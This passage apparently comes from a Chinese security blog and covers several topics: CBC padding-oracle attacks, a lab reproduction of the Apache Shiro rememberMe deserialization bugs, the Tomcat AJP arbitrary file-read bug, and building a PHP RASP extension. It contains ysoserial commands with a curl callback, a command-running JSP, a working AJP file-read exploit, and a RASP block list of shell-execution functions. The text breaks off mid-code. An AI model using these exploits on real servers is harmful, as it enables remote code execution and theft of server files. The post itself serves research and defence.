]]>参考ctfwiki中对CBC模式的介绍,先看一下CBC模式下的加解密模式图:
简单概括一下,加密过程初始化向量IV和第一组明文进行异或,然后经过加密算法得到第一组密文,并拿它作为下一分组加密的IV向量,迭代下去。解密过程反之,先解密再和IV向量异或得到明文plaintext。这里的IV参数是一个随机值(长度和分组长度等长),为了保证多次加密相同数据生成的密文不同而设计的。
为了方便后文描述,将IV和Planttext异或后的值称为中间intermediary Value。
分组的填充padding
分组的长度,不同加密算法的长度如下图所示:
分组密码(block cipher)需要保证总长度是分组长度的整数倍,但一般在最后一组会出现长度不够分组长度的情况,这时候就需要使用padding填充,填充的规则是在最后填充一个固定的值,值的大小为填充的字节总数,即需最后还差2个字节,则填充两个0x02。下边8个字节的填充范围为0x01-0x08
。
这种Padding原则遵循的是常见的PKCS#5标准。https://www.di-mgt.com.au/cryptopad.html#PKCS5
攻击效果
正常CBC解密需要知道IV、Key、密文,而通过Padding Oracle漏洞,只用知道IV、密文即可获得明文。
以这样一个程序为例:1
https://sampleapp/home.jsp?UID=0000000000000000EFC2807233F9D7C097116BB33E813C5E
前16个字母(8字节)0000000000000000
为IV,后32字母(16字节)为密文:
padding 0x01
通常程序校验padding是否正确是通过检查末尾的那个字节的值,我们可以通过修改IV的值使得其与中间量intermediary Value异或得到的结果(plaintext)最后一个字节(填充位)为0x01。
实现这样一个穷举的过程,需要改变IV的最后一个字节(最多255次),且需要服务端将判断padding校验的结果返回给客户端(类似于布尔注入的逻辑)。比如在web应用中,padding正确(解密的内容不正确)返回200,padding错误(解密内容错误)返回500。
至此通过上述步骤,我们可以通过IV
(fuzz出的IV)和0x01
异或得到intermediary Value中间值。
在单个分组的情况下,其实我们拿着intermediary Value和初始向量IV异或,即可拿到最后明文的最后一个字节:
padding 0x02
此时,通过修改IV第八个字节的值使得最后一个padding位变成0x02(上图中0x67^0x02=0×64),再fuzz IV第七个字节,使得服务端解出plaintext其填充位为0x02,以此类推。
总的来说,其实攻击的本质都是为了得到中间临时变量intermediary value,通过其和初始IV计算出明文。
多分组密文情况
上面说到的Padding Oracle Attack是以单个分组进行的,如果密文有多个分组,其最大的区别在于这一分组加密的初始IV向量为上次组加密的结果Ciphertext。
在多分组密文中,由于密文和IV已知且可控,先拿第一组padding的方式爆破IV推算intermediary value,然后根据原始IV计算出明文,也可以通过修改原始IV控制密文结果;再拿第一二组,用padding的方式爆破intermediary value,此时的初始IV为第一组的密文,以此类推。
漏洞的关键点在于攻击者能够判断其padding的结果,在使用CBC模式的分组加密算法需要注意这一点,比如让服务端加上异常处理等等。
实验代码:Demo
在乌云知识库里有一篇文章的例子说的比较清晰:CBC字节翻转攻击-101Approach,
再来参考ctfwiki中对CBC模式的介绍:
简单来说,通过构造第n的密文块为C(n) xor P(n+1) xor A
,使得第n+1密文块为A(个人觉得CTFWiki这里写错了),为什么呢?
C(n) xor P(n+1)
的结果实际上就是第n+1组的intermediary value
,在解密时让intermediary value
自己异或自己得全0,然后再异或A得A。如下图所示:
简而言之,通过损坏密文字节来改变明文字节,攻击条件为知道一组明文和密文。
Apache Shiro是一个开源安全框架,提供身份验证、授权、密码学和会话管理。在Apache Shiro <= 1.2.4版本中存在反序列化漏洞。
去github上下一个shiro 1.2.4:1
2
3git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4
然后修改shiro/samples/web/pom.xml1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22<!-- 需要设置编译的版本 -->
<properties>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
· <!--加一个gadget-->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependencies>
编译:sudo mvn package
爆了这样的错:
先得去搞个jdk1.6来,mac下弃用了,参考这篇文章:https://blog.csdn.net/q258523454/article/details/84029886,去这里下[mac的jdk1.6][6]。
然后切换到root创一个文件:/var/root/.m2/toolchains.xml1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16"1.0" encoding="UTF-8" xml version=
<toolchains xmlns="https://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="https://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="https://maven.apache.org/TOOLCHAINS/1.1.0 https://maven.apache.org/xsd/toolchains-1.1.0.xsd">
<!--插入下面代码-->
<toolchain>
<type>jdk</type>
<provides>
<version>1.6</version>
<vendor>sun</vendor>
</provides>
<configuration>
<!--这里是你安装jdk的文件目录-->
<jdkHome>/Library/Java/JavaVirtualMachines/1.6.0.jdk/</jdkHome>
</configuration>
</toolchain>
</toolchains>
再编译就能成功了:
将这个war包放到tomcat的webapp目录下,然后访问https://127.0.0.1:8080/shiro/
会自动解压:
samples-web-1.2.4
也可以把它导到idea里打包,接着配置idea,这里踩了坑EDU版本是没有tomcat server的,一定要用旗舰版:
EXP打ysoserial的二链:shiro1.2.4RCE
先下个断点:org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin,去login.jsp登录root secret,选中Remember Me。
在forgetIdentity
函数中处理了request和response请求,在response中处理remember me的cookie。
再跟进rememberIdentity
函数:
调用convertPrincipalsToBytes
将账户信息传入,先是进行序列化,再来一个加密:
跟进encrypt
函数:getCipherService
先获取了一下加密服务的配置信息,包括加密模式,填充方式,加密类型等等:cipherService.encrypt
其中秘钥在AbstractRememberMeManager.java中设置的一个定值:
通过构造方法设置的:
在加密过程中需要关注的一个点,将iv向量放置在密文头部:org/apache/shiro/crypto/JcaCipherService.java
加密完成后,返回结果传入rememberSerializedIdentity
函数,处理http请求,返回cookie到response中:
到这里cookie加密处理就结束了,再来跟一下是如何解密cookie的。
org/apache/shiro/mgt/AbstractRememberMeManager.java#getRememberedPrincipals
先从getRememberedSerializedIdentity
函数获取cookie,base64解码:
然后进入convertBytesToPrincipals
函数,先是解密,接着反序列化
网上大部分文章都是拿common-collections2这调链来复现,畅通无阻。
我们来试试其他链,把gadget换成ysoserial5打shiro自带的commons-collections-3.2.1
,会抛出这样一个错误:
再把其组件拉出来单独试试:
调试分析一下:org/apache/shiro/io/DefaultSerializer.java
跟进ClassResolvingObjectInputStream
类:org/apache/shiro/io/ClassResolvingObjectInputStream.java
他继承了ObjectInputStream
类,重写了resolveClass
方法,再来看一下原版resolveClass
方法:
Class.forName
和ClassUtils.forName
的差别,来看看ClassUtils
具体实现:org/apache/shiro/util/ClassUtils.java#forName
shiro不是像原版那样通过java.lang.Class
反射获取class,而是通过ParallelWebappClassLoader
去加载class
查了一些下资料,看到orange师傅文章评论中说不支持装载数组类型,这里没细跟原因了。
Orang师傅在文章中一顿操作,发现JRMP可以避开上述限制,测试一下:
server:1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'curl https://x.x.x.x:8989'
client:1
java -jar ysoserial.jar JRMPClient 'x.x.x.x:12345'
稍微调了一下EXP,大概能行的原因就是走的远程的class加载的,而不是像之前那样直接打本地:
不过有一点比较困惑,用URLDNS打了没结果,但是直接用5链JRMP打却可以…
这里手动膜@hu3sky师傅,教我手挖无数组的gadgets
先挖坑,挖到再说吧
EXP用3ndz/Shiro-721,shiro的版本1.4.1配置过程参考上文。
yso生成个jrmpclient:1
java -jar ysoserial.jar JRMPClient 'x.x.x.x:12345' > JRMPClient
服务端起一个jrmplistener1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections2 'curl https://x.x.x.x:8989'
1 | python2 shiro_padding_oracle.py https://127.0.0.1:8088/samples_web_war_exploded/index.jsp [rememberMe的cookie] JRMPClien |
先来看看这个版本对秘钥的处理:org/apache/shiro/mgt/AbstractRememberMeManager.java
一直跟进,可以看到将之前的硬编码秘钥换成了动态生成:
在我们给rememberMe输入错误的padding后,经过上文提到的解密过程后,会抛出异常:/org/apache/shiro/crypto/JcaCipherService.class
然后在org/apache/shiro/mgt/AbstractRememberMeManager.java#getRememberedPrincipals捕获
最后在org/apache/shiro/web/servlet/SimpleCookie.java中给返回包设置一个rememberMe的cookie,覆盖掉之前的值:
调用栈:
在之前的padding oracle漏洞中,依靠控制前一块密文来伪造后一块的明文,根据Padding的机制,可构造出一个bool条件,从而逐位得到明文,然后逐块得到所有明文。
也就是说通过padding获取来伪造明文的,会改变前一块的密文,也就是会影响到解密的结果。我们来看shiro中对于解密结果的处理,在DefaultSerializer.class中进行反序列化时,会失败而抛出异常:
而对于客户端而言,结果是一样的,都走到了AbstractRememberMeManager.java的异常处理:
接着就是给客户端重置rememberMe的cookie。
在gyyy:浅析Java序列化和反序列化这篇文章中介绍了java序列化和反序列化的机制,关键点在于ObjectOutputStream是一个Stream,他会按格式以队列方式读下去,后面拼接无关内容,不会影响反序列化。
所以现在BOOL条件就出来了,拼接无关数据,padding 正确,能正常反序列化,padding错误抛出异常。
最后payload的构造就是不断的用两个block去padding得到intermediary之后,构造密文使得解密后得到指定明文,最后拼接到原有的cookie上。
exp: https://github.com/3ndz/Shiro-721
这段时间从密码学到shiro反序列化的几个版本漏洞分析,算法功底还得加强,接下来的时间研究一下shiro反序列化RCE的回显问题。
参考文章:
]]>Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持。由于Tomcat本身也内含了HTTP服务器,因此也可以视作单独的Web服务器。
该漏洞可以用来读取或包含 Tomcat 上所有 webapp目录下的任意文件,文件包含漏洞影响以下版本:
测试版本8.5.16,用的mac下Mxsrvs自带的tomcat。
在/bin/catalina.sh文件头部里增加一行,设置调试端口:1
export JPDA_ADDRESS=9901
再修改一下startup.sh的最后一行:1
2#exec "$PRGDIR"/"$EXECUTABLE" start "$@"
exec "$PRGDIR"/"$EXECUTABLE" jpda start "$@"
Idea里配置一下
EXP: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
本地测试8.5.16版本,tomcat默认开启三个端口:
在/conf/server.xml中配置:
Tomcat服务器通过Connector连接器组件与客户程序建立连接,connector组件负责接收客户的请求,以及把Tomcat服务器的响应结果发送给客户。
在上图的配置中有两个connect,即8080端口对应着Http Connector,使用http(HTTP/1.1)协议;8009使用的AJP Connector,使用的是 AJP 协议(Apache Jserv Protocol)是定向包协议。因为性能原因,使用二进制格式来传输可读性文本,它能降低 HTTP 请求的处理成本,因此主要在需要集群、反向代理的场景被使用。更详细的介绍可以参考一下AJP协议的官方文档:The Apache Tomcat Connectors - AJP Protocol Reference
Web客户访问的两种方式:
配置idea的时候先下个源码:https://repo1.maven.org/maven2/org/apache/tomcat/tomcat-coyote/8.5.16/tomcat-coyote-8.5.16-sources.jar
tomcat-coyote.jar!/org/apache/coyote/ajp/AjpProcessor.class#prepareRequest
在AJP协议的请求结构中有这样一个字段属性attributes
:
对应上文代码中switch case
中的匹配项,跟进Constants.SC_A_REQ_ATTRIBUTE
:/org/apache/coyote/ajp/Constants.java
这里定义了所有属性,Constants.SC_A_REQ_ATTRIBUTE
这个case在文档中对应req_attribute
属性,意思是说,如果要发超出上述基础属性以外的值,都可以通过req_attribute(0X0A)
来设置其属性名和值来发送。
不难理解,也就对应着这里的处理逻辑,如果是在上述之外属性,则允许我们自定义:
这里其实就是允许我们设置Request对象的attribute属性。在下文中会提到的几个属性可以被设置:
封装完request对象后,继续处理Servlet的映射流程
当url请求未在映射的url列表里面则会通过tomcat默认的DefaultServlet会根据上面的三个属性来读取文件,/org/apache/catalina/servlets/DefaultServlet.class
:
跟进getRelativePath
函数,当request
属性中javax.servlet.include.request_uri
不为空,则取出另外两个javax.servlet.include.path_info
和javax.servlet.include.servlet_path
属性,最后加到result
里返回:
然后将结果带入this.resources.getResource
函数:
然后一直跟进,直到调用this.cache.getResource
函数读取资源:
读取到/WEB-INF/web.xml
文件:
当url请求映射在org.apache.jasper.servlet.JspServlet
这个servlet的时候也可通过上述三个属性来控制访问的jsp文件。
随便包含一个上传的文件:
upload1
2
3
4
5<%@ page language="java" import="java.lang.*" contentType="text/html; charset=ISO-8859-1"
pageEncoding="ISO-8859-1"%>
<%
Runtime.getRuntime().exec("open -a Calculator");
%>
ajp协议的通信客户端demo: https://github.com/kohsuke/ajp-client
这里贴一个threedr3am师傅的EXP: https://github.com/threedr3am/learnjavabug1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32public class FileRead {
public static void main(String[] args) throws IOException {
SimpleAjpClient ac = new SimpleAjpClient();
String host = "localhost";
int port = 8009;
String uri = "/xxxxxxxxxxxxxxxest.xxx";
String file = "/index.jsp";
if (args.length == 4) {
host = args[0];
port = Integer.parseInt(args[1]);
uri = args[2].equalsIgnoreCase("file") ? uri : "/xxxxxxxxxxxxxxxest.jsp";
file = args[3];
}
ac.connect(host, port);
// create a message that indicates the beginning of the request
TesterAjpMessage forwardMessage = ac.createForwardMessage(uri);
forwardMessage.addAttribute("javax.servlet.include.request_uri", "1");
forwardMessage.addAttribute("javax.servlet.include.path_info", file);
forwardMessage.addAttribute("javax.servlet.include.servlet_path", "");
forwardMessage.end();
ac.sendMessage(forwardMessage);
while (true) {
byte[] responseBody = ac.readMessage();
if (responseBody == null || responseBody.length == 0)
break;
System.out.print(new String(responseBody));
}
ac.disconnect();
}
}
比较简单,没啥好说的,指定路由为jsp的时候走org.apache.jasper.servlet.JspServlet
处理,其他则走/org/apache/catalina/servlets/DefaultServlet
默认处理。
洞挺牛逼的,虽然不能直接命令执行,本地的mxsrvs启动tomcat的时候默认启动8009,但是实测了一些真实环境的,独立部署的时候大都没有ajp这个端口,或许在负载均衡反代的场景比较多?
参考文章
]]>RASP(Runtime Application self-protection)是一种在运行时检测攻击并且进行自我保护的一种技术。PHP RASP的设计思路很直接,安全圈有一句名言叫一切输入都是有害的,我们就跟踪这些有害变量,看它们是否对系统造成了危害。我们跟踪了HTTP请求中的所有参数、HTTP Header等一切client端可控的变量,随着这些变量被使用、被复制,信息随之流动,我们也跟踪了这些信息的流动。我们还选取了一些敏感函数,这些函数都是引发漏洞的函数,例如require函数能引发文件包含漏洞,mysqli->query方法能引发SQL注入漏洞。简单来说,这些函数都是大家在代码审计时关注的函数。我们利用某些方法为这些函数添加安全检查代码。当跟踪的信息流流入敏感函数时,触发安全检查代码,如果通过安全检查,开始执行敏感函数,如果没通过安全检查,阻断执行,通过SAPI向HTTP Server发送403 Forbidden信息。当然,这一切都在PHP代码运行过程中完成。
这里主要有两个技术问题,一个是如何跟踪信息流,另一个是如何安全检查到底是怎样实现的。
有两个技术思路来解决两个问题,第一个是动态污点跟踪,另一个是基于词法分析的漏洞检测。本文用主要分析的是污点标记的方法。
简而言之taint检测未知,payload上线前Fuzz检测
taint:污点标记,对参数传递过程进行判断清除或保留标记
payload模式:忽略参数传递过程,只分析最后作用于敏感函数的参数是否恶意
简而言之,无论以哪种方式启动php程序,经过下边四个步骤:模块初始化(MINIT)、请求初始化(RINIT)、请求处理、请求结束(RSHUTDOWN)、模块结束(MSHUTDOWN)
这四个阶段对应扩展开发中PHP_MINIT_FUNCTION
、PHP_MSHUTDOWN_FUNCTION
、PHP_RINIT_FUNCTION
、PHP_RSHUTDOWN_FUNCTION
四个函数来处理对应的功能。
opcode是计算机指令中的一部分,用于指定要执行的操作,指令的格式和规范由处理器的指令规范指定。
记录一下php解析的过程:
简单概括一下,所有php代码最终以opcode指令的形式在zend虚拟机中执行。
PHP中函数的存储结构:/Zend/zend_compile.h#4041
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18union _zend_function {
zend_uchar type;/* MUST be the first element of this struct! */
struct {
zend_uchar type; /* never used */
zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
uint32_t fn_flags;
zend_string *function_name;
zend_class_entry *scope;
union _zend_function *prototype;
uint32_t num_args;
uint32_t required_num_args;
zend_arg_info *arg_info;
} common;
zend_op_array op_array;
zend_internal_function internal_function;
};
这个联合体里边定义了四个结构体,内部函数通过扩展或者内核提供的C函数,比如time、array等,编译后用的internal_function
结构;用户自定函数编译后为普通的opcode数组,用的op_array
结构。剩下的common
和type
可以看做是internal_function
和op_array
的header。
实际上还有其他几类函数,暂时还没太明白:
内部函数是指由内核、扩展提供的C语言编写的function,这类函数不用经过opcode的编译过程,效率高于php用户自定义函数,调用时与普通的C程序没有差异。
Zend引擎中定义了很多内部函数供用户在PHP中使用,比如:define、defined、strlen、method_exists、class_exists、function_exist
等等,除了Zend引擎中定义的内部函数,PHP扩展中也提供了大量内部函数,我们也可以灵活的通过扩展自行定制。
前文介绍zend_function
为union
,其中internal_function
就是内部函数用到的具体结构:/Zend/zend_compile.h#3841
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17typedef struct _zend_internal_function {
/* Common elements */
zend_uchar type;
zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
uint32_t fn_flags;
zend_string* function_name;
zend_class_entry *scope;
zend_function *prototype;
uint32_t num_args;
uint32_t required_num_args;
zend_internal_arg_info *arg_info;
/* END of common elements */
void (*handler)(INTERNAL_FUNCTION_PARAMETERS);
struct _zend_module_entry *module;
void *reserved[ZEND_MAX_RESERVED_RESOURCES];
} zend_internal_function;
zend_internal_function
头部是一个与zend_op_array
完全相同的common结构。
php版本7.0.33,为了方便开发扩展,先下载源码:1
wget https://github.com/php/php-src/archive/php-7.0.33.zip
解压后,在php源码里有一个代码生成器ext_skel
,位于php-src-php-7.0.33/ext
,先构建扩展基本文件:1
./ext_skel --extname=passer6y
将config.m4
文件中这几行前的dnl去掉:
在头文件php_passer6y.h
文件中声明扩展函数:1
PHP_FUNCTION(passer6y_helloworld);
接着编辑passer6y.c
,添加一行:PHP_FE(passer6y_helloworld, NULL)
最后在文件末尾加入passer6y_helloworld
函数代码1
2
3
4
5
6
7
8
9
10
11PHP_FUNCTION(passer6y_helloworld)
{
char *arg = NULL;
int arg_len, len;
char *strg;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &arg, &arg_len) == FAILURE) {
return;
}
php_printf("my first ext,Hello World!\n");
RETRUN_TRUE;
}
编译扩展:1
2
3
4apt-get install php7.0-dev
phpize
./configure --with-php-config=/usr/bin/php-config7.0
make && make install
测试插件:1
php -d "extension=passer6y.so" -r "passer6y_helloworld('123');"
参考文章:https://www.cnblogs.com/iamstudy/articles/php_code_rasp_1.html
下载php7.0.23:https://mirrors.sohu.com/php/php-7.0.23.tar.gz
重新编译php,开启--enable-debug
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18./configure \
--prefix=/opt/php_debug/ \
--enable-debug \
--enable-cli \
--without-pear \
--enable-embed \
--enable-inline-optimization \
--enable-shared \
--enable-opcache \
--enable-fpm \
--with-gettext \
--enable-mbstring \
--with-iconv=/usr/local/libiconv \
make && make install
mkdir /opt/php_debug/conf/
cp php.ini-development /opt/php_debug/conf/php.ini
再加个软连接方便执行:1
2ln -s /opt/php_debug/bin/php /usr/bin/php_debug
ln -s /opt/php_debug/bin/phpize /usr/bin/phpize_debug
创建插件的步骤和之前一样,在config.m4最后加上:1
2
3
4
5
6if test -z "$PHP_DEBUG"; then
AC_ARG_ENABLE(debug,
[--enable-debug compile with debugging system],
[PHP_DEBUG=$enableval], [PHP_DEBUG=no]
)
fi
然后再编译即可用gdb调试了
在make的时候可能会遇到libiconv的报错问题,参考这个文章安装一下就OK了,https://www.cnblogs.com/rwxwsblog/p/5451467.html
参考文章:https://www.cnblogs.com/miao-zp/p/6374311.html
安装vld:1
2
3wget https://pecl.php.net/get/vld-0.14.0.tgz
tar zxvf vld-0.14.0.tgz
cd vld-0.14.0/
找到php-config路径: locate php-config
编译:1
2./configure --with-php-config=/usr/bin/php-config7.0 --enable-vld
make && make install
检查是否编译成功:
修改php.ini /etc/php/7.0/cli/php.ini
,在最后加上:1
extension=vld.so
检测是否安装成功:php -r "phpinfo();" | grep "vld"
功能测试:
写一个phpinfo,然后执行下边命令,-dvld.active
参数为1时使用vld扩展,-dvld.execute
为1时执行改文件,这里不需要执行文件,就看一下php代码转换对应的opcode指令:1
php -dvld.active=1 -dvld.execute=0 1.php
还是之前的源码,重新编译php1
./buildconf --force && ./configure --disable-all --enable-debug --prefix=/opt/php --with-apxs2=/usr/bin/apxs && make && make install
爆了一个线程安全的问题,执行下面两个命令凑合用着(每个子进程只有一个线程):1
2
3// apache2 -t 查看错误日志
a2dismod mpm_event
a2enmod mpm_prefork
也可以用康师傅写的dockerfile,一键拉取环境:Dockerfile
命令备忘:1
php --ini // 查看php.ini默认配置路径
两种方式:
function_table
删除原函数定义,接着在php中重新定义一个该函数(像waf一样在入口include),并对参数进行威胁判断(prvd的payload模式)这里的重命名内部函数是在MINIT
阶段进行实现的,在RINIT
阶段是无法对已有的内部函数进行修改名称,只能对用户函数修改(即php中自定义的函数)。
参考fate0师傅的xmark项目实现的PHP_FUNCTION(xrename_function)
函数,核心在这段:1
2// ...
Bucket *p = rename_hash_key(EG(function_table), orig_fname, new_fname, XMARK_IS_FUNCTION);
跟进rename_hash_key
函数:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79static zend_always_inline Bucket *rename_hash_key(HashTable *ht, zend_string *orig_name, zend_string *new_name, int type)
{
zend_ulong h;
uint32_t nIndex;
uint32_t idx;
Bucket *p = NULL, *arData, *prev = NULL;
zend_bool found = 0;
orig_name = zend_string_tolower(orig_name);
new_name = zend_string_tolower(new_name);
if (zend_hash_exists(ht, new_name)) {
zend_string_release(orig_name);
zend_string_release(new_name);
zend_error(E_ERROR, "function/class '%s' already exists", ZSTR_VAL(new_name));
return NULL;
}
h = zend_string_hash_val(orig_name);
arData = ht->arData;
nIndex = h | ht->nTableMask;
idx = HT_HASH_EX(arData, nIndex);
while (EXPECTED(idx != HT_INVALID_IDX)) {
prev = p;
p = HT_HASH_TO_BUCKET_EX(arData, idx);
if (EXPECTED(p->key == orig_name)) { /* check for the same interned string */
found = 1;
break;
} else if (EXPECTED(p->h == h) &&
EXPECTED(p->key) &&
EXPECTED(ZSTR_LEN(p->key) == ZSTR_LEN(orig_name)) &&
EXPECTED(memcmp(ZSTR_VAL(p->key), ZSTR_VAL(orig_name), ZSTR_LEN(orig_name)) == 0)) {
found = 1;
break;
}
idx = Z_NEXT(p->val);
}
if (!found) {
zend_string_release(orig_name);
zend_string_release(new_name);
zend_error(E_ERROR, "function/class '%s' does not exists", ZSTR_VAL(orig_name));
return NULL;
}
// rehash
if (!prev && Z_NEXT(p->val) == HT_INVALID_IDX) { // only p
HT_HASH(ht, nIndex) = HT_INVALID_IDX;
} else if (prev && Z_NEXT(p->val) != HT_INVALID_IDX) { // p in middle
Z_NEXT(prev->val) = Z_NEXT(p->val);
} else if (prev && Z_NEXT(p->val) == HT_INVALID_IDX) { // p in tail
Z_NEXT(prev->val) = HT_INVALID_IDX;
} else if (!prev && Z_NEXT(p->val) != HT_INVALID_IDX) { // p in head
HT_HASH(ht, nIndex) = Z_NEXT(p->val);
}
zend_string_release(p->key);
p->key = zend_string_init_interned(ZSTR_VAL(new_name), ZSTR_LEN(new_name), 1);
p->h = h = zend_string_hash_val(p->key);
nIndex = h | ht->nTableMask;
// 重命名函数名
if (type == XMARK_IS_FUNCTION) {
zend_string_release(p->val.value.func->common.function_name);
zend_string_addref(p->key);
p->val.value.func->common.function_name = p->key;
}
if (HT_HASH(ht, nIndex) != HT_INVALID_IDX)
Z_NEXT(p->val) = HT_HASH(ht, nIndex);
HT_HASH(ht, nIndex) = idx;
zend_string_release(orig_name);
zend_string_release(new_name);
return p;
}
为什么要hook opcode呢?在后来的测试中发现像echo
、eval
这些,它是一个语言特性,而不是一个函数,在EG(function_table)
这个记录所有PHP函数的哈希表中找不到,但是他们最终都要解析成opcode,所以可以通过这种方式来劫持函数。
再举一个遇到的例子,比如在污点标记的时候,用户可控$a
,但在后文经过字符串拼接$b = "xx".$a
,将恶意代码传递给$b
变量,这个时候我们是没有办法在函数层面控制的标记的,这个时候通过处理CONCAT
指令即可解决:
基础,php执行流程、全局变量等
这种方式要求我们知道函数所对应的opcode代码,可以通过gdb调试的办法查找,这里以echo为例,其opcode为ZEND_ECHO
。
在passer6y.h
中添加定义:1
int fake_echo(ZEND_OPCODE_HANDLER_ARGS);
然后在passer6y.c
中添加1
2
3
4
5int fake_echo(ZEND_OPCODE_HANDLER_ARGS)
{
php_printf("hook success");
return ZEND_USER_OPCODE_RETURN;
}
并在模块初始化PHP_MINIT_FUNCTION
函数中添加调用:1
2
3
4
5
6
7
8
9PHP_MINIT_FUNCTION(passer6y)
{
/* If you have INI entries, uncomment these lines
REGISTER_INI_ENTRIES();
*/
//php_override_func("echo", sizeof("echo"), PHP_FN(fake_echo), NULL TSRMLS_CC);
zend_set_user_opcode_handler(ZEND_ECHO, fake_echo);
return SUCCESS;
}
编译运行:
php-src-php-7.0.33/Zend/zend_ast.c#1258
还有其他几个也使用了相同的opcode:1 | case ZEND_AST_INCLUDE_OR_EVAL: |
显然,include_once
、include
、require_once
、require
、eval
这5个函数的功能一样。
$a="system";$a("whoami");
总结一下,hook这几个opcode指令:
opcode hook
通过zend_set_user_opcode_handler(zend_uchar opcode, user_opcode_handler_t handler)
函数实现将指定的opcode,替换成我们自定义的。
其中user_opcode_handler_t
类型是zend_execute_data *execute_data
的别名:
第一次见typedef的这种用法,参考这篇文章:https://c.biancheng.net/view/298.html
zend_execute_data
结构的注解在文档中有解释:https://www.kancloud.cn/nickbai/php7/3632801
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//zend_compile.h
struct _zend_execute_data {
const zend_op *opline; //指向当前执行的opcode,初始时指向zend_op_array起始位置
zend_execute_data *call; /* current call */
zval *return_value; //返回值指针
zend_function *func; //当前执行的函数(非函数调用时为空)
zval This; //这个值并不仅仅是面向对象的this,还有另外两个值也通过这个记录:call_info + num_args,分别存在zval.u1.reserved、zval.u2.num_args
zend_class_entry *called_scope; //当前call的类
zend_execute_data *prev_execute_data; //函数调用时指向调用位置作用空间
zend_array *symbol_table; //全局变量符号表
void **run_time_cache; /* cache op_array->run_time_cache */
zval *literals; //字面量数组,与func.op_array->literals相同
};
其中第一个车管员opline
的结构定义:1
2
3
4
5
6
7
8
9
10
11
12struct _zend_op {
const void *handler; //对应执行的C语言function,即每条opcode都有一个C function处理
znode_op op1; //操作数1
znode_op op2; //操作数2
znode_op result; //返回值
uint32_t extended_value;
uint32_t lineno;
zend_uchar opcode; //opcode指令
zend_uchar op1_type; //操作数1类型
zend_uchar op2_type; //操作数2类型
zend_uchar result_type; //返回值类型
};
还有成员func
的定义:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18union _zend_function {
zend_uchar type; /* MUST be the first element of this struct! */
struct {
zend_uchar type; /* never used */
zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
uint32_t fn_flags;
zend_string *function_name;
zend_class_entry *scope; //成员方法所属类,面向对象实现中用到
union _zend_function *prototype;
uint32_t num_args; //参数数量
uint32_t required_num_args; //必传参数数量
zend_arg_info *arg_info; //参数信息
} common;
zend_op_array op_array; //函数实际编译为普通的zend_op_array
zend_internal_function internal_function;
};
现在我们要实现一个执行该opcode的函数以及参数的功能:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31static int php_do_fcall_handler(zend_execute_data *execute_data){
const zend_op *opline = execute_data->opline;
zend_execute_data *call = execute_data->call;
zend_function *fbc = call->func;
if (fbc->type == ZEND_INTERNAL_FUNCTION) {
// 获取参数个数
int arg_count = ZEND_CALL_NUM_ARGS(call);
if (!arg_count) {
return ZEND_USER_OPCODE_DISPATCH;
}
// 如果不在类中
if (fbc->common.scope == NULL){
zend_string *fname = fbc->common.function_name;
char *funcname = ZSTR_VAL(fname);
int len = strlen(funcname);
if (fname) {
if (strncmp("passthru", funcname, len) == 0
|| strncmp("system", funcname, len) == 0
|| strncmp("exec", funcname, len) == 0
|| strncmp("shell_exec", funcname, len) == 0
|| strncmp("proc_open", funcname, len) == 0 ) {
zend_error(E_WARNING, funcname);
}
}
}
}
zend_error(E_WARNING, "ZEND_DO_FCALL Hook success");
return ZEND_USER_OPCODE_DISPATCH;
}
函数参数获取
参考php7内核剖析文章的函数参数解析部分,获取到第一个参数:1
2
3
4static int php_do_fcall_handler(zend_execute_data *execute_data){
// ...
zend_execute_data *call = execute_data->call;
zval *arg = ZEND_CALL_ARG(call, 1);
格式化输出1
2
3
4
5
6
7
8
9
10
11
12
13
14
15static void php_warning(const char *fname, const char *arg, const char *format, ...) /* {{{ */ {
char *buffer, *msg;
va_list args;
//EG(error_reporting) = 1;
va_start(args, format);
vspprintf(&buffer, 0, format, args);
spprintf(&msg, 0, "%s(\"%s\"): %s", fname, arg, buffer);
efree(buffer);
zend_error(E_WARNING, msg);
efree(msg);
va_end(args);
} /* }}} */
//... php_do_fcall_handler()
php_warning(funcname, ZSTR_VAL(Z_STR_P(arg)), "warning function");
接下来写一个循环遍历,获取全部参数:1
2
3
4
5
6
7
8
9// 创建一个数组,记录参数
ZVAL_NEW_ARR(&z_params);
zend_hash_init(Z_ARRVAL(z_params), arg_count, NULL, ZVAL_PTR_DTOR, 0);
for (i=0; i<arg_count; i++) {
